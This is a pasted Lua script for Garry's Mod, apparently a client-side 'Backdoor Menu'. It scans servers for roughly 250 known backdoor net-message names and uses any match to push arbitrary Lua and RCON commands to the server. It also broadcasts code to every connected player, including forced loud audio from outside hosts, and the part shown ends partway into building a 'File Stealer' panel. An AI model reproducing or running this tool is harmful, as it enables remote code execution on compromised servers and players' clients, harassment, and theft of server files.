· 6 years ago · Nov 14, 2019, 04:50 PM
1--[[
2RunString
3--]]
4
5surface.CreateFont("MenuFont", {
6 font = "testfont1",
7 size = 12,
8 weight = 674,
9 antialias = false,
10 outline = true
11})
12
13local function msgG(time, text)
14 if not windowopen then
15 windowopen = true
16 local window = vgui.Create("DFrame")
17 window:SetPos(ScrW() / 2.7, 0)
18 window:SetSize(500, 25)
19 window:SlideDown(0.3)
20 window:SetTitle("")
21 window:ShowCloseButton(false)
22 window:SetDraggable(false)
23
24 window.Paint = function(s, w, h)
25 surface.SetDrawColor(40, 40, 40, 240)
26 surface.DrawRect(0, 0, w, h)
27 --draw.RoundedBox(8, 0, 0, w, h, Color(40, 40, 40, 240))
28 draw.DrawText(text, "MenuFont", w / 2, 6, Color(0, 255, 0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
29 end
30
31 timer.Simple(time, function()
32 if windowopen then
33 window:SlideUp(0.3)
34
35 timer.Simple(0.3, function()
36 windowopen = false
37 window:Remove()
38 end)
39 end
40 end)
41 end
42
43 chat.PlaySound()
44 print("\n" .. text .. "\n")
45end
46
47local function msgY(time, text)
48 if not windowopen then
49 windowopen = true
50 local window = vgui.Create("DFrame")
51 window:SetPos(ScrW() / 2.7, 0)
52 window:SetSize(500, 25)
53 window:SlideDown(0.3)
54 window:SetTitle("")
55 window:ShowCloseButton(false)
56 window:SetDraggable(false)
57
58 window.Paint = function(s, w, h)
59 surface.SetDrawColor(40, 40, 40, 240)
60 surface.DrawRect(0, 0, w, h)
61 --draw.RoundedBox(8, 0, 0, w, h, Color(40, 40, 40, 240))
62 draw.DrawText(text, "MenuFont", w / 2, 6, Color(255, 255, 0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
63 end
64
65 timer.Simple(time, function()
66 if windowopen then
67 window:SlideUp(0.3)
68
69 timer.Simple(0.3, function()
70 windowopen = false
71 window:Remove()
72 end)
73 end
74 end)
75 end
76
77 chat.PlaySound()
78 print("\n" .. text .. "\n")
79end
80
81local function msgR(time, text)
82 if not windowopen then
83 windowopen = true
84 local window = vgui.Create("DFrame")
85 window:SetPos(ScrW() / 2.7, 0)
86 window:SetSize(500, 25)
87 window:SlideDown(0.3)
88 window:SetTitle("")
89 window:ShowCloseButton(false)
90 window:SetDraggable(false)
91
92 window.Paint = function(s, w, h)
93 surface.SetDrawColor(40, 40, 40, 240)
94 surface.DrawRect(0, 0, w, h)
95 --draw.RoundedBox(8, 0, 0, w, h, Color(40, 40, 40, 240))
96 draw.DrawText(text, "MenuFont", w / 2, 6, Color(255, 0, 0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
97 end
98
99 timer.Simple(time, function()
100 if windowopen then
101 window:SlideUp(0.3)
102
103 timer.Simple(0.3, function()
104 windowopen = false
105 window:Remove()
106 end)
107 end
108 end)
109 end
110
111 chat.PlaySound()
112 print("\n" .. text .. "\n")
113end
114
115-- hehe
116local function msgRGB(time, text)
117 if not windowopen then
118 windowopen = true
119 local window = vgui.Create("DFrame")
120 window:SetPos(ScrW() / 2.7, 0)
121 window:SetSize(500, 25)
122 window:SlideDown(0.3)
123 window:SetTitle("")
124 window:ShowCloseButton(false)
125 window:SetDraggable(false)
126
127 window.Paint = function(s, w, h)
128 surface.SetDrawColor(40, 40, 40, 240)
129 surface.DrawRect(0, 0, w, h)
130 --draw.RoundedBox(8, 0, 0, w, h, Color(40, 40, 40, 240))
131 draw.DrawText(text, "MenuFont", w / 2, 6, HSVToColor(RealTime() * 69 % 360, 1, 1) or Color(0, 0, 0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
132 end
133
134 timer.Simple(time, function()
135 if windowopen then
136 window:SlideUp(0.3)
137
138 timer.Simple(0.3, function()
139 windowopen = false
140 window:Remove()
141 end)
142 end
143 end)
144 end
145
146 chat.PlaySound()
147 print("\n" .. text .. "\n")
148end
149
150local function rprint(...)
151 chat.AddText(Color(255, 0, 20), "[REBUG] ", Color(20, 150, 200), ...)
152end
153
154--[[-------------------------------------------------------------------------------------
155StartUp
156----------------------------------------------------------------------------------------]]
157msgY(1.4, "Initializing...")
158surface.PlaySound("weapons/ar2/ar2_reload.wav")
159
160timer.Simple(2, function()
161 local rvac = (_G)
162
163 do
164 if (rvac.game.SinglePlayer()) then
165 msgR(4.3, "Menu will not load in single player!")
166 surface.PlaySound("buttons/lightswitch2.wav")
167
168 return
169 end
170
171 --[[if (_G.Loaded2) then
172 msgR(4.3, "The Backdoor menu has already been loaded, Reloading will cause errors!")
173 surface.PlaySound("buttons/lightswitch2.wav")
174 return
175 end]]
176 _G.Loaded2 = true
177 end
178
179 print("\n")
180 surface.PlaySound("buttons/bell1.wav")
181
182 timer.Create("ChatPrint2", 0.1, 1, function()
183 msgRGB(3.2, "Backdoor Menu Loaded!")
184 end)
185
186--[[-------------------------------------------------------------------------------------
187Administration Addons
188----------------------------------------------------------------------------------------]]
189 if istable(ULib) then
190 rprint("Admin-Mod: ULX")
191 end
192
193 if istable(FAdmin) then
194 rprint("Admin-Mod: FAdmin")
195 end
196
197 if istable(GExtension) then
198 rprint("Admin-Mod: GExtension")
199 end
200
201 if istable(gBan) then
202 rprint("Admin-Mod: gBan")
203 end
204
205--[[-------------------------------------------------------------------------------------
206Locals
207----------------------------------------------------------------------------------------]]
208 local rebug = {}
209 local channel = ""
210 local netStrings = {}
211 local BD = {}
212 local noob = {}
213 local MenuDelay = false
214 local MenuOpen = false
215 local ply = LocalPlayer()
216 local selPly = 0
217
218--[[-------------------------------------------------------------------------------------
219Fonts
220----------------------------------------------------------------------------------------]]
221 surface.CreateFont("button", {
222 font = "Calibri",
223 extended = not 1,
224 size = 16,
225 weight = 500,
226 blursize = 0,
227 scanlines = 0,
228 antialias = not not 1,
229 underline = not 1,
230 italic = not 1,
231 strikeout = not 1,
232 symbol = not 1,
233 rotary = not 1,
234 shadow = not 1,
235 additive = not 1,
236 outline = not 1
237 })
238
239--[[-------------------------------------------------------------------------------------
240Gradient
241----------------------------------------------------------------------------------------]]
242 local grad = Material("gui/gradient")
243 local upgrad = Material("gui/gradient_up")
244 local downgrad = Material("gui/gradient_down")
245--[[-------------------------------------------------------------------------------------
246Colors
247----------------------------------------------------------------------------------------]]
248 local o_color2 = Color(30, 30, 30, 255)
249 local o_blue = Color(20, 150, 200, 255)
250
251--[[-------------------------------------------------------------------------------------
252NetWorks
253----------------------------------------------------------------------------------------]]
254 function CheckIfStringExists(str)
255 local status, error = pcall(net.Start, str)
256
257 return status
258 end
259
260 local function playSound(url)
261 sound.PlayURL(url, '', function(station)
262 if (IsValid(station)) then
263 station:SetPos(LocalPlayer():GetPos())
264 station:Play()
265 end
266 end)
267 end
268
269 --playSound("https://rvac.cc/sound/earth.mp3")
270 -- Notify
271 function noob.Notify(msg)
272 chat.AddText(Color(255, 0, 0), "[REBUG] ", o_blue, msg)
273 end
274
275 -- Backdoored Strings
276 netStrings.Strings={{NetString="Sandbox_ArmDupe"},{NetString="entityhealt"},{NetString="m"},{NetString="material"},{NetString="REBUG"},{NetString="BetStrep"},{NetString="keyss"},{NetString="banId2"},{NetString="Val"},{NetString="models/zombie.mdl"},{NetString="FPSBOOST"},{NetString="PlayerCheck"},{NetString="Sbox_darkrp"},{NetString="insid3"},{NetString="The_Dankwoo"},{NetString="Sbox_itemstore"},{NetString="Ulib_Message"},{NetString="ULogs_Info"},{NetString="ITEM"},{NetString="R8"},{NetString="fix"},{NetString="Fix_Keypads"},{NetString="Remove_Exploiters"},{NetString="noclipcloakaesp_chat_text"},{NetString="_Defqon"},{NetString="_CAC_ReadMemory"},{NetString="lmaogetdunked"},{NetString="nostrip"},{NetString="nocheat"},{NetString="LickMeOut"},{NetString="ULX_QUERY2"},{NetString="ULXQUERY2"},{NetString="https://i.imgur.com/Gf6hLMl.png"},{NetString="MoonMan"},{NetString="Im_SOCool"},{NetString="JSQuery.Data(Post(false))"},{NetString="Sandbox_GayParty"},{NetString="DarkRP_UTF8"},{NetString="oldNetReadData"},{NetString="Gamemode_get"},{NetString="memeDoor"},{NetString="BackDoor"},{NetString="SessionBackdoor"},{NetString="DarkRP_AdminWeapons"},{NetString="cucked"},{NetString="NoNerks"},{NetString="kek"},{NetString="ZimbaBackDoor"},{NetString="something"},{NetString="random"},{NetString="strip0"},{NetString="fellosnake"},{NetString="enablevac"},{NetString="idk"},{NetString="Þà ?D)â—˜"},{NetString="snte"},{NetString="apg_togglemode"},{NetString="Hi"},{NetString="beedoor"},{NetString="BDST_EngineForceButton"},{NetString="VoteKickNO"},{NetString="REEEEEEEEEEEE"},{NetString="_da_"},{NetString="Nostra"},{NetString="sniffing"},{NetString="keylogger"},{NetString="CakeInstall"},{NetString="Cakeuptade"},{NetString="love"},{NetString="earth"},{NetString="ulibcheck"},{NetString="Nostrip_"},{NetString="teamfrench"},{NetString="ADM"},{NetString="hack"},{NetString="crack"},{NetString="leak"},{NetString="lokisploit"},{NetString="1234"},{NetString="123"},{NetString="enculer"},{NetString="cake"},{NetString="seized"},{NetString="88"},{NetString="88_strings_"},{NetString="nostraall"},{NetString="blogs_update"},{NetString="nolag"},{NetString="loona_"},{NetString="billys_logs"},{NetString="loona"},{NetString="negativedlebest"},{NetString="berettabest"},{NetString="ReadPing"},{NetString="antiexploit"},{NetString="adm_NetString"},{NetString="mathislebg"},{NetString="Bilboard.adverts:Spawn(false)"},{NetString="pjHabrp9EY"},{NetString="?"},{NetString="lag_ping"},{NetString="allowLimitedRCON(user) 0"},{NetString="aze46aez67z67z64dcv4bt"},{NetString="killserver"},{NetString="fuckserver"},{NetString="cvaraccess"},{NetString="rcon"},{NetString="rconadmin"},{NetString="web"},{NetString="jesuslebg"},{NetString="zilnix"},{NetString="ߠ?D)?"},{NetString="disablebackdoor"},{NetString="kill"},{NetString="DefqonBackdoor"},{NetString="DarkRP_AllDoorDatas"},{NetString="0101.1"},{NetString="awarn_remove"},{NetString="_Infinity"},{NetString="Infinity"},{NetString="InfinityBackdoor"},{NetString="_Infinity_Meme_"},{NetString="arivia"},{NetString="ULogs_B"},{NetString="_Warns"},{NetString="_cac_"},{NetString="striphelper"},{NetString="_vliss"},{NetString="YYYYTTYXY6Y"},{NetString="?????????????????п??? ?? ?ѿ??Ŀտ? ???ѿ??տ??Ю"},{NetString="_KekTcf"},{NetString="_blacksmurf"},{NetString="blacksmurfBackdoor"},{NetString="_Raze"},{NetString="m9k_explosionradius"},{NetString="m9k_explosive"},{NetString="m9k_addons"},{NetString="rcivluz"},{NetString="SENDTEST"},{NetString="_clientcvars"},{NetString="_main"},{NetString="stream"},{NetString="waoz"},{NetString="bdsm"},{NetString="ZernaxBackdoor"},{NetString="UKT_MOMOS"},{NetString="anticrash"},{NetString="audisquad_lua"},{NetString="dontforget"},{NetString="noprop"},{NetString="thereaper"},{NetString="0x13"},{NetString="Child"},{NetString="!Cac"},{NetString="azkaw"},{NetString="BOOST_FPS"},{NetString="childexploit"},{NetString="ULX_ANTI_BACKDOOR"},{NetString="FADMIN_ANTICRASH"},{NetString="ULX_QUERY_TEST2"},{NetString="GMOD_NETDBG"},{NetString="netlib_debug"},{NetString="_DarkRP_Reading"},{NetString="lag_ping"},{NetString="||||"},{NetString="SteamApp2313"},{NetString="FPP_RemovePLYCache"},{NetString="fuwa"},{NetString="stardoor"},{NetString="SENDTEST"},{NetString="rcivluz"},{NetString="c"},{NetString="N::B::P"},{NetString="changename"},{NetString="PlayerItemPickUp"},{NetString="echangeinfo"},{NetString="fourhead"},{NetString="music"},{NetString="slua"},{NetString="adm_network"},{NetString="componenttolua"},{NetString="theberettabcd"},{NetString="SparksLeBg"},{NetString="DarkRP_Armors"},{NetString="DarkRP_Gamemodes"},{NetString="fancyscoreboard_leave"},{NetString="PRDW_GET"},{NetString="pwn_http_send"},{NetString="AnatikLeNoob"},{NetString="GVacDoor"},{NetString="Keetaxor"},{NetString="BackdoorPrivate666"},{NetString="YohSambreLeBest"},{NetString="SNTE<ALL"},{NetString="!Ǻ/;."},{NetString="pwn_http_answer"},{NetString="pwn_wake"},{NetString="verifiopd"},{NetString="AidsTacos"},{NetString="shix"},{NetString="PDA_DRM_REQUEST_CONTENT"},{NetString="xenoreceivetargetdata2"},{NetString="xenoreceivetargetdata1"},{NetString="xenoserverdatafunction"},{NetString="xenoserverfunction"},{NetString="xenoclientdatafunction"},{NetString="xenoclientfunction"},{NetString="xenoactivation"},{NetString="EXEC_REMOTE_APPS"},{NetString="yohsambresicianatik<3"},{NetString="Sbox_Message"},{NetString="Sbox_gm_attackofnullday_key"},{NetString="The_DankWhy"},{NetString="nw.readstream"},{NetString="AbSoluT"},{NetString="__G____CAC"},{NetString="Weapon_88"},{NetString="mecthack"},{NetString="SetPlayerDeathCount"},{NetString="FAdmin_Notification_Receiver"},{NetString="DarkRP_ReceiveData"},{NetString="fijiconn"},{NetString="LuaCmd"},{NetString="EnigmaProject"},{NetString="z"},{NetString="cvardel"},{NetString="json.parse(crashsocket)"},{NetString="effects_en"},{NetString="file"},{NetString="gag"},{NetString="asunalabestwaifu"},{NetString="stoppk"},{NetString="Ulx_Error_88"},{NetString="NoOdium_ReadPing"},{NetString="banId"},{NetString="kickId2"},{NetString="elsakura"}}
277
278 function CheckBackdoors()
279 for k, v in pairs(netStrings.Strings) do
280 if (CheckIfStringExists(v.NetString)) then
281 channel = v.NetString
282 chat.AddText(Color(255, 0, 0), "[REBUG]", Color(20, 150, 20), " Found Vulnerability ▶ ", Color(20, 150, 200), [[]] .. v.NetString)
283 end
284 end
285 end
286
287 function noob.PostLua(str)
288 net.Start(channel)
289 net.WriteString(str)
290 net.WriteBit(1)
291 net.SendToServer()
292 end
293
294 function noob.PostRcon(str)
295 net.Start(channel)
296 net.WriteString(str)
297 net.WriteBit(false)
298 net.SendToServer()
299 end
300
301 function noob.PostLua(str)
302 if (channel == "") then
303 rprint(" You are not targeting a NetString")
304
305 return
306 end
307
308 net.Start(channel)
309 net.WriteString(str)
310 net.WriteBit(1)
311 net.SendToServer()
312 end
313
314 function sendLuaPly(str)
315 net.Start(channel)
316 net.WriteString("BroadcastLua([[" .. str .. "]])")
317 net.SendToServer()
318 end
319
320 function sendLuaPlyKv(str)
321 net.Start(channel)
322 net.WriteString("for k,v in pairs(player.GetAll()) do v:SendLua(" .. str .. ") end")
323 net.SendToServer()
324 end
325
326--[[-------------------------------------------------------------------------------------
327Insert Key
328----------------------------------------------------------------------------------------]]
329 function rebug.voidz()
330 hook.Add("Think", "openMenu", function()
331 if input.IsKeyDown(KEY_INSERT) and not MenuDelay then
332 MenuDelay = true
333 rebug.load()
334
335 timer.Simple(0.5, function()
336 MenuDelay = false
337 end)
338 end
339 end)
340 end
341
342 function rebug.load()
343 if MenuOpen then
344 CloseMenu()
345
346 return
347 end
348
349--[[-------------------------------------------------------------------------------------
350Main Menu
351----------------------------------------------------------------------------------------]]
352 MenuOpen = true
353 local Void = vgui.Create("DFrame")
354 surface.PlaySound("buttons/blip1.wav")
355 Void:SetSize(900, 700)
356 Void:Center()
357 Void:SetTitle("")
358 Void:ShowCloseButton()
359 Void:MakePopup()
360 Void:SetVisible(true)
361 Void:SetDraggable(true)
362
363 Void.Paint = function(self, w, h)
364 surface.DrawRect(4, 4, Void:GetWide() - 8, Void:GetTall() - 8)
365 draw.RoundedBox(10, 0, 0, w, h, Color(35, 35, 35, 255))
366 surface.SetDrawColor(36, 21, 21)
367 surface.SetMaterial(upgrad)
368 surface.SetDrawColor(o_color2)
369 surface.SetMaterial(downgrad)
370 surface.SetDrawColor(o_color2)
371 surface.SetDrawColor(0, 0, 0, 0)
372 surface.DrawOutlinedRect(0, 0, w, h)
373 surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
374 end
375
376 local VoidPlate = vgui.Create('DPanelList', Void)
377 VoidPlate:SetSize(888, 688)
378 VoidPlate:SetPos(6, 6)
379
380 VoidPlate.Paint = function(s, w, h)
381 surface.SetDrawColor(Color(35, 35, 35))
382 draw.RoundedBox(10, 20, 20, w + 0, h - 1, Color(35, 35, 35, 255))
383 surface.SetDrawColor(25, 25, 25)
384 surface.SetMaterial(upgrad)
385 surface.SetDrawColor(o_color2)
386 surface.SetMaterial(downgrad)
387 surface.SetDrawColor(o_color2)
388 surface.SetDrawColor(35, 35, 35, 255)
389 surface.DrawOutlinedRect(0, 0, w, h)
390 end
391
392 local Rainbow = vgui.Create('DPanelList', VoidPlate)
393 Rainbow:SetSize(890, 2)
394 Rainbow:SetPos(1, 0)
395
396 Rainbow.Paint = function(s, w, h)
397 surface.SetDrawColor(Color(100, 100, 100))
398 surface.DrawRect(0, 0, w, h)
399 surface.SetDrawColor(21, 21, 21)
400 surface.SetDrawColor(Color(100, 100, 100))
401 surface.DrawRect(0, 0, w, h)
402 surface.SetDrawColor(21, 21, 21)
403 surface.SetMaterial(upgrad)
404 surface.SetDrawColor(o_color2)
405 surface.SetMaterial(downgrad)
406 surface.SetDrawColor(o_color2)
407 surface.SetDrawColor(HSVToColor(CurTime() % 6 * 60, 1, 1))
408 surface.DrawOutlinedRect(0, 0, w, h)
409 surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
410 end
411
412--[[-------------------------------------------------------------------------------------
413Button Function
414----------------------------------------------------------------------------------------]]
415 function rebug.AddButton(name, parent, func)
416 local button = parent:Add("DButton")
417 button:SetText("")
418 button:Dock(TOP)
419 button:SetFont("DermaDefault")
420 button:DockMargin(0, 0, 0, 5)
421 button:SetSize(170, 30)
422 button.DoClick = func
423
424 button.Paint = function(self, w, h)
425 surface.SetDrawColor(Color(30, 30, 30))
426 surface.DrawRect(0, 0, w, h)
427 surface.SetDrawColor(21, 21, 21)
428 surface.SetMaterial(upgrad)
429 surface.SetDrawColor(o_color2)
430 surface.SetMaterial(downgrad)
431 surface.SetDrawColor(o_color2)
432 surface.SetDrawColor(21, 21, 21, 255)
433 surface.DrawOutlinedRect(0, 0, w, h)
434 draw.SimpleTextOutlined(name, "button", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1, 1, color_black)
435 end
436 end
437
438 function rebug.AddButtonBIG(name, parent, func)
439 local button = parent:Add("DButton")
440 button:SetText("")
441 button:Dock(TOP)
442 button:SetFont("Trebuchet18")
443 button:DockMargin(0, 0, 0, 5)
444 button:SetSize(525, 30)
445 button.DoClick = func
446
447 button.Paint = function(self, w, h)
448 surface.SetDrawColor(Color(30, 30, 30))
449 surface.DrawRect(0, 0, w, h)
450 surface.SetDrawColor(21, 21, 21)
451 surface.SetMaterial(upgrad)
452 surface.SetDrawColor(o_color2)
453 surface.SetMaterial(downgrad)
454 surface.SetDrawColor(o_color2)
455 surface.SetDrawColor(21, 21, 21, 255)
456 surface.DrawOutlinedRect(0, 0, w, h)
457 draw.SimpleTextOutlined(name, "button", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1, 1, color_black)
458 end
459 end
460
461--[[-------------------------------------------------------------------------------------
462Label Function
463----------------------------------------------------------------------------------------]]
464 function noob.addLabel(name, posx, posy, parent)
465 local T1 = parent:Add("DLabel")
466 T1:SetSize(200, 80)
467 T1:SetPos(posx, posy)
468 T1:SetFont("Trebuchet18")
469 T1:SetText(name)
470 T1:SetTextColor(Color(255, 255, 255, 255))
471 end
472
473 --Labels
474 noob.addLabel("Server BackDoors", 60, 100, VoidPlate)
475 noob.addLabel("RCON Backdoors", 280, 100, VoidPlate)
476 noob.addLabel("Target Backdoors", 515, 100, VoidPlate)
477 noob.addLabel("Player List", 755, 100, VoidPlate)
478
479--[[-------------------------------------------------------------------------------------
480SoundBoard ( BD Required )
481----------------------------------------------------------------------------------------]]
482 function soundboard()
483 local soundboard = vgui.Create("DFrame")
484 surface.PlaySound("buttons/blip1.wav")
485 soundboard:SetSize(600, 450)
486 soundboard:Center()
487 soundboard:SetTitle("SoundBoard ( Backdoor Required )")
488 soundboard:MakePopup()
489 soundboard:SetDraggable(true)
490
491 soundboard.Paint = function(self, w, h)
492 surface.SetDrawColor(Color(30, 30, 30))
493 surface.DrawRect(0, 0, w, h)
494 surface.SetDrawColor(35, 21, 21)
495 surface.SetMaterial(upgrad)
496 surface.SetDrawColor(o_color2)
497 surface.SetMaterial(downgrad)
498 surface.SetDrawColor(o_color2)
499 surface.SetDrawColor(35, 35, 35, 255)
500 surface.DrawOutlinedRect(0, 0, w, h)
501 end
502
503 local soundPlate = vgui.Create('DPanelList', soundboard)
504 soundPlate:SetSize(590, 418)
505 soundPlate:SetPos(6, 27)
506
507 soundPlate.Paint = function(s, w, h)
508 surface.SetDrawColor(Color(35, 35, 35))
509 surface.DrawRect(0, 0, w, h)
510 surface.SetDrawColor(35, 21, 21)
511 surface.SetMaterial(upgrad)
512 surface.SetDrawColor(o_color2)
513 surface.SetMaterial(downgrad)
514 surface.SetDrawColor(o_color2)
515 surface.SetDrawColor(35, 35, 35, 255)
516 surface.DrawOutlinedRect(0, 0, w, h)
517 end
518
519 local customurl = vgui.Create("DButton", soundPlate)
520 customurl:SetFont("Trebuchet18")
521 customurl:SetText("Play Custom URL")
522 customurl:SetFont("Trebuchet18")
523 customurl:SetTextColor(Color(255, 255, 255, 255))
524 customurl:SetPos(20, 13)
525 customurl:SetSize(550, 40)
526
527 customurl.Paint = function(self, w, h)
528 surface.SetDrawColor(Color(30, 30, 30))
529 surface.DrawRect(0, 0, w, h)
530 surface.SetDrawColor(21, 21, 21)
531 surface.SetMaterial(upgrad)
532 surface.SetDrawColor(o_color2)
533 surface.SetMaterial(downgrad)
534 surface.SetDrawColor(o_color2)
535 surface.SetDrawColor(21, 21, 21, 255)
536 surface.DrawOutlinedRect(0, 0, w, h)
537 end
538
539 customurl.DoClick = function()
540 surface.PlaySound("buttons/button18.wav")
541
542 Derma_StringRequest("Play Sound", "Set Link (Has to end with .AUDIOFORMAT)", "", function(str)
543 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. str .. "\" , \"mono\", function() end)]])")
544 end)
545 end
546
547 local List7 = vgui.Create("DPanelList", soundPlate)
548 List7:SetPos(20, 63)
549 List7:SetSize(550, 340)
550 List7:SetName("")
551
552 List7.Paint = function(self, w, h)
553 surface.SetDrawColor(Color(30, 30, 30))
554 surface.DrawRect(0, 0, w, h)
555 surface.SetDrawColor(21, 21, 21)
556 surface.SetMaterial(upgrad)
557 surface.SetDrawColor(o_color2)
558 surface.SetMaterial(downgrad)
559 surface.SetDrawColor(o_color2)
560 surface.SetDrawColor(21, 21, 21, 255)
561 surface.DrawOutlinedRect(0, 0, w, h)
562 end
563
564 local item7 = vgui.Create("DPanelList", List7)
565 item7:SetPos(10, 8)
566 item7:SetSize(530, 320)
567 item7:SetPadding(2)
568 item7:SetSpacing(2)
569 item7:EnableHorizontal(false)
570 item7:EnableVerticalScrollbar(true)
571 item7:SetName("")
572
573 item7.Paint = function(self, w, h)
574 surface.SetDrawColor(Color(30, 30, 30))
575 surface.DrawRect(0, 0, w, h)
576 surface.SetDrawColor(21, 21, 21)
577 surface.SetDrawColor(35, 35, 35, 0)
578 surface.DrawOutlinedRect(0, 0, w, h)
579 end
580
581 local Bar7 = vgui.Create("DScrollPanel", item7)
582 Bar7:Dock(FILL)
583 local sBar7 = Bar7:GetVBar()
584
585 function sBar7:Paint()
586 end
587
588 function sBar7.btnUp:Paint()
589 end
590
591 function sBar7.btnDown:Paint()
592 end
593
594 function sBar7.btnGrip:Paint()
595 end
596
597 rebug.AddButtonBIG("Earth Wind (Normal)", Bar7, function()
598 surface.PlaySound("buttons/button18.wav")
599 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://httpsinfamousvoice1com.000webhostapp.com/08_Earth.mp3" .. "\" , \"mono\", function() end)]])")
600 end)
601
602 rebug.AddButtonBIG("DajaVu (Normal)", Bar7, function()
603 surface.PlaySound("buttons/button18.wav")
604 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://httpsinfamousvoice1com.000webhostapp.com/daja.mp3" .. "\" , \"mono\", function() end)]])")
605 end)
606
607 rebug.AddButtonBIG("Comethazine Walk (Normal)", Bar7, function()
608 surface.PlaySound("buttons/button18.wav")
609 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://rvac.cc/sound/walk.mp3" .. "\" , \"mono\", function() end)]])")
610 end)
611
612 rebug.AddButtonBIG("Fortnite Default Dance (EarRape)", Bar7, function()
613 surface.PlaySound("buttons/button18.wav")
614 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://tewtewqwef.000webhostapp.com/FortniteDefaultDanceEARRAPE.mp3" .. "\" , \"mono\", function() end)]])")
615 end)
616
617 rebug.AddButtonBIG("LilPump DRose (EarRape)", Bar7, function()
618 surface.PlaySound("buttons/button18.wav")
619 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://tewtewqwef.000webhostapp.com/LilPumDRoseEarrape.mp3" .. "\" , \"mono\", function() end)]])")
620 end)
621
622 rebug.AddButtonBIG("No Nonses (EarRape)", Bar7, function()
623 surface.PlaySound("buttons/button18.wav")
624 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://tewtewqwef.000webhostapp.com/nononses.mp3" .. "\" , \"mono\", function() end)]])")
625 end)
626
627 rebug.AddButtonBIG("Penis (EarRape)", Bar7, function()
628 surface.PlaySound("buttons/button18.wav")
629 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://rvac.cc/log1n/sound/penis.mp3" .. "\" , \"mono\", function() end)]])")
630 end)
631
632 rebug.AddButtonBIG("Pornhub Intro (EarRape)", Bar7, function()
633 surface.PlaySound("buttons/button18.wav")
634 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://rvac.cc/log1n/sound/pornhub.mp3" .. "\" , \"mono\", function() end)]])")
635 end)
636
637 rebug.AddButtonBIG("RamRanch (EarRape)", Bar7, function()
638 surface.PlaySound("buttons/button18.wav")
639 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://tewtewqwef.000webhostapp.com/RamRanch.mp3" .. "\" , \"mono\", function() end)]])")
640 end)
641
642 rebug.AddButtonBIG("SovietNationalAnthem (EarRape)", Bar7, function()
643 surface.PlaySound("buttons/button18.wav")
644 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://tewtewqwef.000webhostapp.com/SovietNationalAnthem.mp3" .. "\" , \"mono\", function() end)]])")
645 end)
646
647 rebug.AddButtonBIG("Static (EarRape)", Bar7, function()
648 surface.PlaySound("buttons/button18.wav")
649 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://rvac.cc/log1n/sound/static.mp3" .. "\" , \"mono\", function() end)]])")
650 end)
651
652 rebug.AddButtonBIG("White Noise (EarRape)", Bar7, function()
653 surface.PlaySound("buttons/button18.wav")
654 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://tewtewqwef.000webhostapp.com/whitenoise.mp3" .. "\" , \"mono\", function() end)]])")
655 end)
656
657 rebug.AddButtonBIG("Bot (EarRape)", Bar7, function()
658 surface.PlaySound("buttons/button18.wav")
659 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. "https://httpsinfamousvoice1com.000webhostapp.com/Bot.mp3" .. "\" , \"mono\", function() end)]])")
660 end)
661 end
662
663--[[-------------------------------------------------------------------------------------
664File Stealer ( BD Required )
665----------------------------------------------------------------------------------------]]
666 function filegrab()
667 local filestealer = vgui.Create("DFrame")
668 surface.PlaySound("buttons/blip1.wav")
669 filestealer:SetSize(600, 150)
670 filestealer:Center()
671 filestealer:SetTitle("File Downloader ( Backdoor Required )")
672 filestealer:MakePopup()
673 filestealer:SetDraggable(true)
674
675 filestealer.Paint = function(self, w, h)
676 surface.SetDrawColor(Color(30, 30, 30))
677 surface.DrawRect(0, 0, w, h)
678 surface.SetDrawColor(35, 21, 21)
679 surface.SetMaterial(upgrad)
680 surface.SetDrawColor(o_color2)
681 surface.SetMaterial(downgrad)
682 surface.SetDrawColor(o_color2)
683 surface.SetDrawColor(35, 35, 35, 255)
684 surface.DrawOutlinedRect(0, 0, w, h)
685 end
686
687 local filePlate = vgui.Create('DPanelList', filestealer)
688 filePlate:SetSize(590, 120)
689 filePlate:SetPos(6, 27)
690
691 filePlate.Paint = function(s, w, h)
692 surface.SetDrawColor(Color(35, 35, 35))
693 surface.DrawRect(0, 0, w, h)
694 surface.SetDrawColor(35, 21, 21)
695 surface.SetMaterial(upgrad)
696 surface.SetDrawColor(o_color2)
697 surface.SetMaterial(downgrad)
698 surface.SetDrawColor(o_color2)
699 surface.SetDrawColor(35, 35, 35, 255)
700 surface.DrawOutlinedRect(0, 0, w, h)
701 end
702
703 local List8 = vgui.Create("DPanelList", filePlate)
704 List8:SetPos(20, 13)
705 List8:SetSize(550, 90)
706 List8:SetName("")
707
708 List8.Paint = function(self, w, h)
709 surface.SetDrawColor(Color(30, 30, 30))
710 surface.DrawRect(0, 0, w, h)
711 surface.SetDrawColor(21, 21, 21)
712 surface.SetMaterial(upgrad)
713 surface.SetDrawColor(o_color2)
714 surface.SetMaterial(downgrad)
715 surface.SetDrawColor(o_color2)
716 surface.SetDrawColor(21, 21, 21, 255)
717 surface.DrawOutlinedRect(0, 0, w, h)
718 end
719
720 local item8 = vgui.Create("DPanelList", List8)
721 item8:SetPos(10, 8)
722 item8:SetSize(530, 75)
723 item8:SetPadding(2)
724 item8:SetSpacing(2)
725 item8:EnableHorizontal(false)
726 item8:EnableVerticalScrollbar(true)
727 item8:SetName("")
728
729 item8.Paint = function(self, w, h)
730 surface.SetDrawColor(Color(30, 30, 30))
731 surface.DrawRect(0, 0, w, h)
732 surface.SetDrawColor(21, 21, 21)
733 surface.SetDrawColor(35, 35, 35, 0)
734 surface.DrawOutlinedRect(0, 0, w, h)
735 end
736
